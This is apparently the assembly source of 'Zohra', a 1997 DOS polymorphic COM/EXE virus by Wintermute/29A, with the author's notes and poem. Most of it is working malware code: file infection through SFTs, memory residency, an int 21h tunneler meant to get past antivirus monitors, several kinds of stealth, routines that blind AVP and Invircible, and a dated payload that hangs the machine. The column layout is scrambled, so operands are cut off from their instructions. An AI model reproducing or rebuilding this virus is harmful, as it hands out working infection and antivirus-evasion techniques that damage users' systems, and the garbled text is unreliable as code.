;Format table for a extra track in db 50h,00h,01h,02h ;Track 50h db 50h,00h,02h,02h ;Track 50h db 50h,00h,03h,02h ;Track 50h db 50h,00h,04h,02h ;Track 50h db 50h,00h,05h,02h ;Track 50h db 50h,00h,06h,02h ;Track 50h db 50h,00h,07h,02h ;Track 50h db 50h,00h,08h,02h ;Track 50h db 50h,00h,09h,02h ;Track 50h db 50h,00h,0Ah,02h ;Track 50h db 50h,00h,0Bh,02h ;Track 50h db 50h,00h,0Ch,02h ;Track 50h db 50h,00h,0Dh,02h ;Track 50h db 50h,00h,0Eh,02h ;Track 50h db 50h,00h,0Fh,02h ;Track 50h

floppy sector sector sector sector sector sector sector sector sector sector sector sector sector sector sector

win_param_string

;Command line parameters for win.com db " /d:f",0Dh

tbscan_param_string

;Command line parameters for tbscan.exe db " co nm",0Dh

old_header

;Old file header db file_header_size dup (00h)

clave_crypt

;Decryptor key db 00h

01h 02h 03h 04h 05h 06h 07h 08h 09h 0Ah 0Bh 0Ch 0Dh 0Eh 0Fh

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus data buffer (not inserted into infections) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄvirus_data_buffer: ;Old interrupt vectors old03h old03h_off old03h_seg

equ this dword dw 0000h dw 0000h

old12h old12h_off old12h_seg

equ this dword dw 0000h dw 0000h

old13h old13h_off old13h_seg

equ this dword dw 0000h dw 0000h

old1Ch old1Ch_off old1Ch_seg

equ this dword dw 0000h dw 0000h

old1Eh old1Eh_off old1Eh_seg

equ this dword dw 0000h dw 0000h

old21h old21h_off old21h_seg

equ this dword dw 0000h dw 0000h

org21h org21h_off org21h_seg

equ this dword dw 0000h dw 0000h

old24h old24h_off old24h_seg

equ this dword dw 0000h dw 0000h

old40h old40h_off old40h_seg

equ this dword dw 0000h dw 0000h ;Misc data

read_ptr read_off read_seg

equ this dword dw 0000h dw 0000h

poly_working_ptr poly_working_off poly_working_seg

equ this dword dw 0000h dw 0000h

dos_function file_offset ret_off virus_timer hd_write_words hd_write_cl hd_write_al dos_flag running_sw stealth_sw file_infection_flag

dw dw dw dw dw db db db db db db

0000h 0000h 0000h 0000h 0000h 00h 00h 00h 00h 00h 00h

;Polymorphic decryptor data poly_data: last_fill_type last_step_type last_subroutine decrypt_sub address_loop last_int_type decrypt_pointer address_register decrypt_register address_seg_1

dw dw dw dw dw db db db db db

0000h 0000h 0000h 0000h 0000h 00h 00h 00h 00h 00h

;+00h ;+02h ;+04h ;+06h ;+08h ;+0Ah ;+0Bh ;+0Ch ;+0Dh ;+0Eh

address_seg_2 rnd_pointer mem_base displ_si_di decrypt_seq

db dw dw db db

execute_filename

;Buffer for filename of executed program db 80h dup (00h)

file_buffer virus_copy virus_end_buffer:

00h 0000h 0000h 00h 00h

;+0Fh ;+10h ;+12h ;+14h ;+15h

;Buffer for file stealth and infection routines db file_header_size dup (00h) db 00h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Done :P ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄlauncher

ends end virus_entry

;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²± ;²² . .: .:.. :.. .. .:.::. :. ..: ²± ; ² Virus: Zohra <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< ²± ; ² Writer: Wintermute/29A .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. ²± ; ² Size: 4004+512 (decryptor) . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ²± ; ² Origin: Madrid, Spain ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. ²± ; ² Finished: April/1997 >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> ²± ; ² . .:.. ..:. .: ..:.::. ::.. :.: ²²± ; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²± ; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ; ; Features ; ÄÄÄÄÄÄÄÄÄÄ ; ; Zohra is a slow polymorphic Com/Exe infector that uses Sfts ; to perform its infection. It's double encrypted and gets resident by ; MCB method, reducing the last MCB's size without having to create a new ; one for itself. Also has an encryption routine ( the non-polymorphic ; one ) based on the UUencode system that consists on changing the first ; bit of each byte of the zone to encrypt to 1 and storing it in a buffer ; whose bytes have also a 1 in their most significative bit for being ; restored later; err, ok, it's well explained in the text. The polymorphic ; engine consists on some instructions and routine generators and other ; routines that change the decryption routine randomly ( see the engine ). ; ; Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode ; Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also, ; it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro ; ( anti-antivirus ) that I let you discover by watching the code and ; comments ;-) ; ; The payload, a video effect ( non-destructive ), activates on 14th ; of april ( the Spanish Second Republic aniversary ) when any file is ; executed. It will not be possible to execute it from within the article ; reader by pressing "G" due to incompatibility reasons. ; ; ; Greetings in this virus go to ORP, who brought me valuable ; information about UUencode, and above all to my necromancer, my wizard ; 'Zohra', the best of the Forgotten Realms ;) ; ; Also greetings to all the 29A, to Marylin Manson, congratulations ; for 'The Roots of Sepultura', greetings to all my friends, to my BBS, ; to my cat, to Ch‚ Guevara, to Tupac Amaru, and to underpants of the ; good luck. ; ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; El viento revuelve s£bitamente las hojas que el oto¤o ; tan cuidadosamente hab¡a depositado en el suelo, ; formando un precioso mosaico de tonos ocres. ; ; El sol a£n atisba t¡midamente por encima del horizonte ; recortado por las cruces y las l pidas, y si aguzas el o¡do, ; podr s sentir a los muertos gemir y susurrar los epitafios ; que nunca fueron grabados en piedra. ; ; La tristeza es un sentimiento de los vivos, ; la soledad una debilidad de los que rezan por no estar solos, ; la fe no sirve a los que no mueren, la muerte eres t£, ; y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo ; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado ; para toda la eternidad.

; ; ; ; ; ; ; ; ;

Su manto te protege... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ( Gerard Casamayor )

TASM /M2 ZOHRA.ASM TLINK ZOHRA.OBJ

.286 HOSTSEG segment BYTE ASSUME CS:HOSTSEG, SS:CODIGO

; Host program for the first generation

Host: mov ax,4c00h int 21h ends CODIGO segment ASSUME org 00h

CS:CODIGO, DS:CODIGO, ES:CODIGO

virus_size equ virus_end-virus_start encrypt_size equ encrypt_end-encrypt_start Comienzo: virus_start label byte

encriptado encrypt_start

push push pop

es ds cs cs ds es

call

fuera_desencriptado

equ encrypt_end-encrypt_start label byte

continuemos: mov mov int cmp jnz jmp

si,29Ah ax,0db15h 21h si,29A0h tunneling ya_instalado

; Mapoulas PAUER ! ;)

;************************** ; THE TOURNIQUET KODE ANALYZER ; --------------------------------tunneling: xor mov lds mov mov mov cmp

ax,ax ; Gets int21h handler ds,ax si,ds:[0084h] word ptr cs:[int21h+bp],si word ptr cs:[int21h+bp+2],ds ax,ds ax,300h ; If it belongs to Dos, we go and

ja jmp

analizar tunnel_hecho

;install

lodsb cmp ja and

al,41h @@mayor_40 al,00001111b

cmp ja jmp

; Group < 40h al,3h @@nointvar @variable_instruction

cmp jb jz cmp jb jz cmp jb jz cmp jz ja

al,5h ;This first byte of the place pointed @bytes_2 ;by ds:si is going to tell us in @bytes_3 ;the majority of cases it's length, al,8h ;if it's a jmp far, call far, an @bytes_1 ;invalid opcode ( for 8086 ), etc @@ii al,0ch @variable_instruction ; Some instructions don't @bytes_2 ;have a fixed length gived by their al,0dh ;first byte, so we'll have to see @bytes_3 ;more of them: this, in @variable... @bytes_1

analizar:

@@ii: @@nointvar:

; Looks for a byte in ds:si ( where ;the int21h points ), and in the ;following code identifies the ;instruction, adding it's size to di ;and continuing the identification.

; Group > 40h @@mayor_40: cmp jb cmp jnb jmp ; > 6fh

al,60h @bytes_1 al,70h @@mayor6f @invalida

; From 40h to 6fh

@@mayor6f: cmp al,80h jb @conditional_jmps ; Conditional jump opcodes ; Mayores a 7fh cmp al,81h jb @variable_instruction_1 jz @variable_instruction_2 cmp al,84h jb @variable_instruction_1 cmp al,8fh jbe @variable_instruction ; A partir de 90h cmp al,09ah jb @bytes_1 jnz @@@@@@ mov cx,0ffffh jmp @posible_salto ; A far call. @@@@@@: cmp jb ; From 0a0h cmp jb cmp jb cmp jb cmp

al,0a0h @bytes_1 al,0a4h @bytes_3 al,0b0h @bytes_1 al,0b8h @bytes_2 al,0c0h

jb cmp jbe

@bytes_3 al,0c3h @invalida ; We take ret as invalid instruction, as ;we'll ignore any call that is made: won't ;every call return to the same place ?

; From 0c4h jmp @desdec4

@conditional_jmps: mov @comparar: cmp inc inc jz loop mov mov inc jmp

; jz, jnz, ja... cx,5

jmp

si,word ptr cs:[cond_place] bx ; We look if we made this jmp just before bx @lo_hacemos ; If we've got Si, we have been there: @comparar ;we make the conditional jump. bx,word ptr cs:[cond_flag] word ptr cs:[cond_place],si ; If not, we keep SI, si ; the execution jump, to jump the next analizar ;time we pass through there ( to avoid ;something like [cmp ax,bx-jz xxx-jmp ;compare], that would hang the computer ;beeing an infinite loop @jmpshort

inc

si

inc

si

jmp

analizar

jmp

; Iret or invalid instruccion found: we don't ya_instalado ;install.

@lo_hacemos: @bytes_3: @bytes_2: @bytes_1:

@invalida:

@variable_instruction_2: ; How this variable instructions work lodsb ;is explained on the table at the end inc si ;of the code analyzer inc si jmp @@@instvar2 @variable_instruction_1: lodsb inc si jmp @@@instvar2 @variable_instruction: lodsb @@@instvar2: cmp al,40h jnb @@@may_40 and al,00001111b cmp al,0eh jz @@variosmas cmp al,06h jnz @@variosmas jmp analizar @@variosmas: inc si inc si jmp analizar @@@may_40: cmp al,80h

jnb inc jmp

@@@may_80 si analizar

cmp jnb inc inc jmp

al,057h @bytes_1 si si analizar

@@@may_80:

@desdec4: cmp jb jz cmp jz cmp jb jz cmp jb jz cmp jb jz cmp jz ; From 0d0h cmp jb cmp jb jz cmp jz cmp jb cmp jb jz cmp jb jz cmp jz cmp jb jz cmp jb

al,0c6h @variable_instruction @variable_instruction_1 al,0c7h @variable_instruction_2 al,0cah @invalida @bytes_3 al,0cch @invalida ; We'll also take a retf as invalid @bytes_1 al,0ceh @bytes_2 @bytes_1 al,0cfh @invalida ; Iret, we return from interrupt. al,0d4h @variable_instruction al,0d6h @bytes_2 @invalida al,0d7h @bytes_1 al,0e0h @variable_instruction al,0e8h @bytes_2 @bytes_3 ; Near call: we ignore it al,0eah @jmpnext @posible_salto ; Jmp far al,0ebh @jmpshort al,0f1h @go_bytes_1 @invalida al,0feh @go_bytes_1

lodsb cmp jb cmp ja jmp

; If a jmp with a register ( jmp Si, for al,20h ;example ) is made, we go withouth @valida_ff ;installing: we can't emulate it because al,2fh ;we don't know the registers @valida_ff ya_instalado

jmp

@@@instvar2

jmp

@bytes_1

@valida_ff:

@go_bytes_1:

@jmpshort: lodsb xor cmp jb neg sub jmp @jmpnext:

; Near jump, the nearest 80 bytes up or down: ;we check, and make it. ah,ah al,80h @addit al ; If it's a jmp to previous code si,ax analizar

; 3 bytes lodsw

@addit: add jmp

si,ax analizar

les mov cmp ja mov mov jmp

; Jump to int21h in the code; found a far call/jmp dx,ds:[si] ;that leads us to Dos code ax,es ax,300h @nomemola word ptr cs:[int21h+bp],dx word ptr cs:[int21h+bp+2],es tunnel_hecho

inc jz push pop jmp

cx @passo es dx si ds analizar

add jmp

si,4 analizar

@posible_salto:

; Next jmps are coded E9 XX YY; distance ;is = current+3+YYXX

@nomemola: ; If not, we make the jmp in case ;it's a jmp and not a call, and ;continue analyzing

@passo:

cond_flag: db cond_place: dw ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

0 0

**************************************************************************** OPCODE TABLE ---------------------------------------------------------------------------This table is which I made for myself with the 8086 opcodes: I suppose it will make easier the code analyzer understanding, and maybe it also will be of use to someone... Length of instructions that can be coded by the Pc ( 8086 ) ----------------------------------------------------------Those that have special importance for the Code Analyzer ( rets, calls and jumps ) are signaled. The others are normal instructions of the computer set. Sometimes in "first byte" I include some opcodes; this means that in all that range the byte conditions and length are the same. Length indicates how much the instruccion size is ( each interrogation means half byte, two hexadecimal figures ): **************************************************************************** Each 7h bytes the same list is repeated, I mean, the bytes size will be the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When getting to 40h it changes:

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

0 <= Y < 40h Y can take any value between them 1st byte Y0h-Y3h

2nd byte

next

length

* Variable instruction

Y4h

??

-

2 bytes

Y5h

??

??

3 bytes

-

-

1 byte

Y6h-Y7h Y8h-Ybh

* Variable instruction

Ych

??

-

2 bytes

Ydh

??

??

3 bytes

-

-

Yeh-Yfh

1 byte

Next part: All are one byte instructiones, between 40h and 6fh. Although, instructions between 60h and 6fh ( included ) are invalid. 40h-6fh

-

-

1 byte

Part three: Conditional jumps, starting from 70h to 7fh 70h-7fh

-

-

2 bytes

Now, a group of different instructions: 80h,82h,83h

* Variable instruction ( +1 )

81h

* Variable instruction ( +2 )

84h-8fh

* Variable instruction

Between 90h and 99h there are more one byte instructions, except in 9Ah; this opcode is the "call far" instruction. 90h-99h 9ah

??

9bh-9fh

-

?? ?? ??

1 byte 4 bytes

-

1 byte

??

3 bytes

New list, we start from 0a0h 0a0h-0a3h

??

0a4h-0afh

-

-

1 byte

0b0h-0b7h

??

-

2 bytes

0b8h-0bfh

??

??

3 bytes

0c0h-0c1h

Invalid

This is a ret [immed]

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

0c2h

??

??

3 bytes

-

1 byte

Ret 0c3h

-

0c4h,0c5h

* Variable instruction

0c6h

* Variable instruction ( +1 )

0c7h

* Variable instruction ( +2 )

0c8h-0c9h

Invalid

Return far [inmed] 0cah

??

??

3 bytes

Return far 0cbh

-

-

1 byte

0cch

-

-

1 byte

0cdh

??

-

2 bytes

0ceh

-

-

1 byte

-

1 byte

-

2 bytes

-

1 byte

??

-

2 bytes

??

??

3 bytes

??

??

3 bytes

??

?? ?? ??

5 bytes

( Interrup Return ) 0cfh 0d0h-0d3h 0d4h-0d5h

* Variable instruction ??

0d6h

Invalid

0d7h

-

0d8h-0dfh 0e0h-0e7h

* Variable instruction

Call 0e8h jmp next 0e9h jmp far 0eah jmp short 0ebh 0ech-0f0h

??

-

2 bytes

-

-

1 byte

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

0f1h

Invalid

0f2h-0fdh

0feh-0ffh

-

-

1 byte

* Variable instruction

*************************************************************************** --------------------------------------------------------------------------* Variable instruction ( those which values change depending on the second byte ) A (+1) or a (+2) tells the number of bytes to add to the number of bytes shown at the column on the right. The values on the left belong to the second byte red

If it's < 40h XEh o X6h <>XEh & <>X6h

?? ?? -

4 bytes 2 bytes

If 3fh < x < 80h ??

??

3 bytes

??

4 bytes

-

2 bytes

If 7fh < x < c0h ?? If 0bfh < x ??

*************************** END OF TUNNELING ****************************

regs2zero: xor mov mov cwd mov ret

ax,ax bx,ax cx,ax

; Zero registers

push pop

cs ds

push pop dec dec pop cmp jz mov int

ax ax sp sp bx ax,bx @getmcb ax,4c00h 21h

; Anti-debugging routine

call

get_z_mcb

; We take the last Mcb

si,ax

tunnel_hecho:

ant_debug:

@getmcb:

el_ultimo: pop push cmp jz cmp jne

dx dx word ptr es:[1],0h parlante word ptr es:[1],dx ya_instalado

cmp jb

word ptr es:[3],(((virus_size+15)/16)*2)+24h ya_instalado ; Enough size ?

mov sub mov add inc mov push xor mov push mov push rep pop add rep

bx,word ptr es:[3] bx,(((virus_size+15)/16)*2)+23h;512 bytes of poly es:[3],bx ; Mcb Z new size di,bx di ; We point to the program es,di di di,di si,bp di si cx,virus_size cx movsb ; We copy the virus in memory cx si di,201h ; Re-copy ( 256 bytes ahead ) movsb

pop lea mov rep

di ; We copy the decryptor instructions to si,[instr_start+bp] ; keep the originals safe against cx,instrsize ; our own changes. movsb

xor mov pop push sub cli mov lea add mov sti

ax,ax es,ax ax ax ax,100h

xor push retf

bp,bp ; We continue the execution in offset ya_instalado ;memory

pop

ds es

mov mov cmp jz

ax,ds bx,ss ax,bx restaura_com

mov add add

si,ds ; We restore the stack si,cs:word ptr [ss_sp+bp] si,10h

; Is it free ? ; If not... ; Or with active Psp ?

parlante:

word ptr es:[0086h],ax dx,handler_int_21 dx,1000h word ptr es:[0084h],dx

; We reduce 100h bytes the ;segment and augments 1000h ;bytes the offset with the ;objective that is explained ;at the Int21h handler ;( confuse the advanced user )

installed:

ya_instalado:

; Is stack segment same as code ;segment ? ; If it is, we've infected a Com ;file

cli mov mov sti

ss,si sp,cs:word ptr [ss_sp+bp+2]

mov add add push push

si,ds ; And now we jump pushing si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the si,10h ; old beggining of the host si cs:word ptr [cs_ip+bp]

call

regs2zero

retf

; Here has happened nothin !

restaura_com: push pop push mov push lea movsw movsb

cs ds es di,100h di si,bp+header

call push pop

regs2zero es ds

; Restores the header ( three ;first bytes ) if it's a Com.

retf get_z_mcb: mov int mov mov

ah,52h 21h di,es:[bx-2] es,di

; We obtain the List of Lists

cmp jnz ret add inc mov jmp

byte ptr es:[0],'Z' ; Search for Mcb 'Z' @sigue_findin

dw db cli pop pushf push push sti ret

0 0

loop_da_mcb:

@sigue_findin:

call_flag: infected_flag: push_all_regs:

pop_all_regs:

cli pop pop popf push sti ret

di,es:[3] di es,di Loop_da_mcb

; Mcb Z segment is in ES

cs:word ptr [call_flag]

; Pushes all registers ;

ax bx cx dx di si ds es bp cs:word ptr [call_flag]

; Restores all registers cs:word ptr [call_flag] bp es ds si di dx cx bx ax cs:word ptr [call_flag]

;**************************************************************************** ; PAYLOAD ;---------------------------------------------------------------------------; ; Non destructive, it activates the aniversary of the spanish Second ; Republic proclamation ( day 14th of april ), showing some video effects ; to the user and printing the virus message. ; payload: mov mov mov

ax,0b800h ds,ax bx,0100h*8h

; Where the text page is ; On Ds

mov

cx,(80*25*2)

dec mov

cx si,cx

add loop dec jnz

word ptr ds:[si-1],4h ; We add 4h to each character loop_it ;of the screen to change it, bx ;it's color... loop_segundo

mov xor

bx,80*25*2 si,si

mov mov mov mov

word word word word

push mov in test jne in test je pop

ax dx dx,3dah al,dx al,8 del1 al,dx al,8 del2 dx ax

; Delay for the cleaning: waits the ;vertical retrazing of the monitor ;to continue

sub add cmp jnb

bx,4 si,4 bx,80*25 loop_decrem

; Pointers for black spaces

xor xor push pop lea mov

bx,bx di,di cs ds si,thetext cx,1

; Now we print the Zohra message, ;that is in 'thetext'

mov mov add int

ah,2h dx,0c0eh dx,di 10h

; We place the cursor at the center ;of the screen

mov lodsb

bl,02h

; We print with int10h to give some ;color to this ;)

loop_segundo: loop_it:

loop_decrem:

del1:

del2:

ptr ptr ptr ptr

ds:[bx],0 ; Now, the screan cleaning ds:[bx-2],0 ;effect ds:[si],0 ds:[si+2],0

not_delay:

; Have we reached the end ?

zohra_text:

; ( "Zohra will live forever... ; necromancy with her!" )

@print:

cmp jz mov int

al,0h acabado ah,09h 10h

inc jmp

di @print

jmp

$

acabado: ; I love hanging computers X-)

;**************************************************************************** ; STEALTH DE FCB ;---------------------------------------------------------------------------fcb_stealth:

; Stealth on 11h/12h xchg pushf call test jnz push

ah,al

mov int mov cmp jnz

ah,51h 21h es,bx bx,es:[16h] Not_infected

mov mov push mov int pop inc jnz add

bx,dx al,byte ptr [bx] ax ah,2fh 21h ax al Normal_FCB bx,7h

mov and xor jnz

al,es:[bx+17h] al,1eh al,1eh Not_infected

sub sbb and

word ptr es:[bx+1dh],Virus_size+202h word ptr es:[bx+1fh],0 byte ptr es:[bx+17h],06bh

pop

bx ax es

dword ptr cs:[Int21h] al,al nada_de_stealth es ax bx

Normal_FCB:

Not_infected:

nada_de_stealth:

retf

2

;*** 5700h time_stealth: xchg pushf call push and xor pop

ah,al

; Returns apparently correct ;seconds dword ptr cs:[int21h] cx cl,01eh cl,01eh cx

jnz and

Vietnow cl,0eh

Vietnow: iret ;**************************************************************************** ; NEW INT 21h ;---------------------------------------------------------------------------; Next motherfucker gonna get my metal ; The int21h handler is in "handler_int_21", after this ;( maybe the user likes the U of debug ) before: popf xchg cmp jz cmp jz cmp jz cmp jnz dec jnz call call sub call @nope2: jmp dont_restore_memory: cmp je cmp je cmp je cmp je cmp jz cmp jnz go_handle: jmp non_handle: cmp jnz jmp tira_venga: cmp jnz jmp

ah,al ; To avoid Avp's 'trace warning', which ax,5700h ;only checks if there is a cmp ah,4bh time_stealth ;instruction al,11h fcb_stealth al,12h fcb_stealth al,4ch dont_restore_memory byte ptr cs:[flag1] ; Restores last Mcb size to @nope2 ;protect our virus after out push_all_regs ;anti-mem routine. get_z_mcb word ptr es:[3],((virus_size/16)*2)+22h pop_all_regs nope al,03ch open_filexz al,05bh open_filexz al,03dh open_filexz al,06ch open_filexz al,4eh go_handle al,4fh non_handle handle ax,015dbh tira_venga install_check al,4bh eing infeccion

eing: cmp jnz jmp

al,3fh ; File read @nope2 lets_do_stuff

pushf push push

cs offset before

handler_int_21: ; This routine tries to make ;the advanced users believe ;this isn't a virus: the

push mov add pop retf

bp ;offset is bigger than 1100h, bp,sp ;so it looks like a normal word ptr ss:[bp+4],100h;( and big ) program bp ; The routine itself, returns ;to the real offsets and ;tries also not to look like a ;virus

;**************************************************************************** ; Open file handle ;---------------------------------------------------------------------------open_filexz:

; You can kill yourself now because you're dead in my mind xchg pushf call call

ah,al

mov push call pop jc

dx,'VA' bx get_prog_in_env bx tenemos_al_avp

mov push call pop jc

dx,'VI' ; Shitvircible bx get_prog_in_env bx la_mierda_nos_ronda

push

offset @@cont

mov int jc xor mov mov int ret

ax,1220h 2fh @@go_out bx,bx bl,byte ptr es:[di] ax,1216h 2fh ; In ES:DI we get the Sft entry that ;belongs to the actual file.

jc

go_out

mov and xor jnz inc sub sbb jmp

; If it's infected, we reduce it al,byte ptr es:[di+0dh] ; bytes at the file Sft al,01eh ; al,01eh go_out byte ptr [infected_flag] word ptr es:[di+11h],Virus_size+202h word ptr es:[di+13h],0 go_out

dword ptr cs:[int21h] push_all_regs ; Avp ( 3.0beta )

; Obtain actual Sft

@get_da_sft:

@@go_out: @@cont:

tenemos_al_avp: cmp jnz cmp jnz call mov mov go_out:

bx,5 ; I check a pair of values of Avp 3.0b when go_out ;opening, enough specific to not damage si,402dh ;older versions: I make zero the opened file go_out ;size, and Avp 3.0 will detect NO VIRUSES @get_da_sft word ptr es:[di+11h],0 word ptr es:[di+13h],0

definetly:

call retf

pop_all_regs 2

la_mierda_nos_ronda: cmp jnz call stc jmp

bx,3b20h ; Ok, I don't think I need more code to go_out ;make Shitvircible blind... bah, I'm pop_all_regs ;sure in a pair of years it's still ;unable to detect my Zohra... Zvi Netiv, definetly ;guy, your Invircible SUX !!!

cmp jnz mov iret

si,29Ah nope si,29A0h

xchg jmp

ah,al salto_a_int21h

install_check: ; If it's in memory it returns 29A0h in ;SI

nope:

;**************************************************************************** ; HANDLE STEALTH ;---------------------------------------------------------------------------handle: xchg pushf call jc pushf push

ah,al

mov call jc

dx,'KP' get_prog_in_env not_infec

; Pkunzip, don't stealth ;when used

mov call jc

dx,'RA' get_prog_in_env not_infec

; Arj, same with it

mov call jc

dx,'AR' get_prog_in_env not_infec

; Rar archive

mov call jc

dx,'UU' get_prog_in_env not_infec

; UUencode utilities

mov call jc

dx,'-F' get_prog_in_env not_infec

; Anti F-prot's anti-stealth ;( doesn't make stealth when ;it's executing )

mov int mov and xor jnz sub sbb and

ah,2fh 21h al,es:[bx+16h] al,1eh al,1eh not_infec word ptr es:[bx+1ah],Virus_size+202h word ptr es:[bx+1ch],0 byte ptr es:[bx+16h],06bh

pop

di bx es ax dx

dword ptr cs:[Int21h] handle_out

; Handle stealth, functions ;4eh/4fh

dx ax es bx di

not_infec:

popf handle_out: retf

2

;**************************************************************************** ; INFECT ! ;---------------------------------------------------------------------------infeccion: xchg call mov mov

ah,al push_all_regs si,dx di,ds

xor mov int push mov push push pop lea int

bp,bp ax,3500h 21h es bx ah,25h ax cs ds dx,rutinadiv 21h

mov div mov

ah,2ah ; Puts the first number for the bp ;"random" number: month, day, hour word ptr [num_aleat],dx

cmp jnz jmp

dx,040eh noche payload

mov div push push pop lea mov div push mov mov

ax,3524h bp bx es cs ds dx,int24h ah,25h bp ax dx,si ds,di

inc cmp jz cmp jz cmp jz cmp jz cmp jz jmp

si word ptr ds:[si],'BT' nos_piramos word ptr ds:[si],'VA' nos_piramos word ptr ds:[si],'CS' nos_piramos word ptr ds:[si],'VI' nos_piramos byte ptr ds:[si],0 final_cero loop_exe

mov

byte ptr cs:[flag1],0

; For the div ; We handle int 00h, divide overflow, ;so we only have to make a 'div bp' ;to jump to int21h, making the ;heuristic engines ( even Avp ) not ;to have any idea of what we are ;doing

; Virus activation: ; Fourteenth of april

noche: ; Handling of int24h, avoid errors

loop_exe:

; Do not infect: ; Tbav... ; Avp... ; Avscan, Xscan, Scan... ; Invircible

final_cero: ; Is Mem.exe executing ?

nadarl:

cmp jnz cmp jz cmp jnz cmp jz

ds:[si-7],'EM' nadarl ds:[si-5],'.M' memory_test ds:[si-7],'IW' noeswin ds:[si-5],'.N' ant_memory_test

dec dec cmp jz jmp

si si ds:[si],'EX' Es_un_exe Podriaseruncom

mov div

ax,3d02h bp

jnc jmp

continua_infecci¢n vamonox

; And Windoze ?

noeswin:

; ¨ Is it an .Exe ?

Es_un_exe:

nos_piramos:

; Open r/w

ant_memory_test: lea lds mov div Memory_test:

Ir_cerrar:

di,int21h ; Restore original int21h dx,cs:[di] ax,2521h bp ; The virus gets here if the Mem.exe file has been ;executed: if that's right, it adds it's size to the call get_z_mcb ; last Mcb so it appears the same free add es:[3],((virus_size/16)*2)+22h ; memory than before inc byte ptr cs:[flag1] ; installing ( later it's jmp vamonox ; restored, of course ;) ) jmp cerramos

continua_infecci¢n: xchg push call pop

bx,ax bx @get_da_sft bx

; Let's go with Sft infection!

push lea push pop mov mov div mov mov rep pop

es di dx,header ; We read the exe header... cs cs ds es ah,3fh cx,01ch bp si,dx ; and move it to the second copy di,virus_size+201h+offset header ; of the virus movsb di es

cmp jb

word ptr es:[di+11h],01f40h ; Too little file ? ir_cerrar

mov mov push mov

;File size=file image+header? ax,word ptr es:[di+11h] dx,word ptr es:[di+13h] ax dx ax,word ptr [header+4] ; Number of pages

dec mov mul add adc pop cmp jnz cmp jnz

ax cx,200h cx ax,word ptr [header+2] dx,0 cx si cx,dx ir_cerrar si,ax ir_cerrar

mov add cmp jnz

al,byte ptr [header] al,byte ptr [header+1] al,'M'+'Z' Ir_Cerrar

mov and xor jz push push

ax,word ptr es:[di+0dh] al,1eh ; Is it infected ? al,1eh ir_cerrar word ptr es:[di+0dh] word ptr es:[di+0fh]

push @comp_tiempo: mov div mov mov and cmp jnz and ror cmp jnz add jmp

; Last page ; dx-ax length of file ; Jumps also if attrib<>0, so ;doesn't infect +r files. I ;thought to change some ;things, but I prefer it this ;way: slowest reproduction

; Is it MZ ?

offset rout_fecha ;( this to be called by the Com ;infector ) ; Doesn't infect if the file date ah,2ah ;is the same today's date ( to avoid bp ;bait-files and some antivirus ax,word ptr es:[di+0fh] ;programs that use this like cx,ax ;Shitvircible ) ax,01fh al,dl puedes_seguir cx,01e0h cx,5 cl,dh puedes_seguir sp,6h fecha

puedes_seguir: ret rout_fecha: mov mov mov mov mov div sub mov

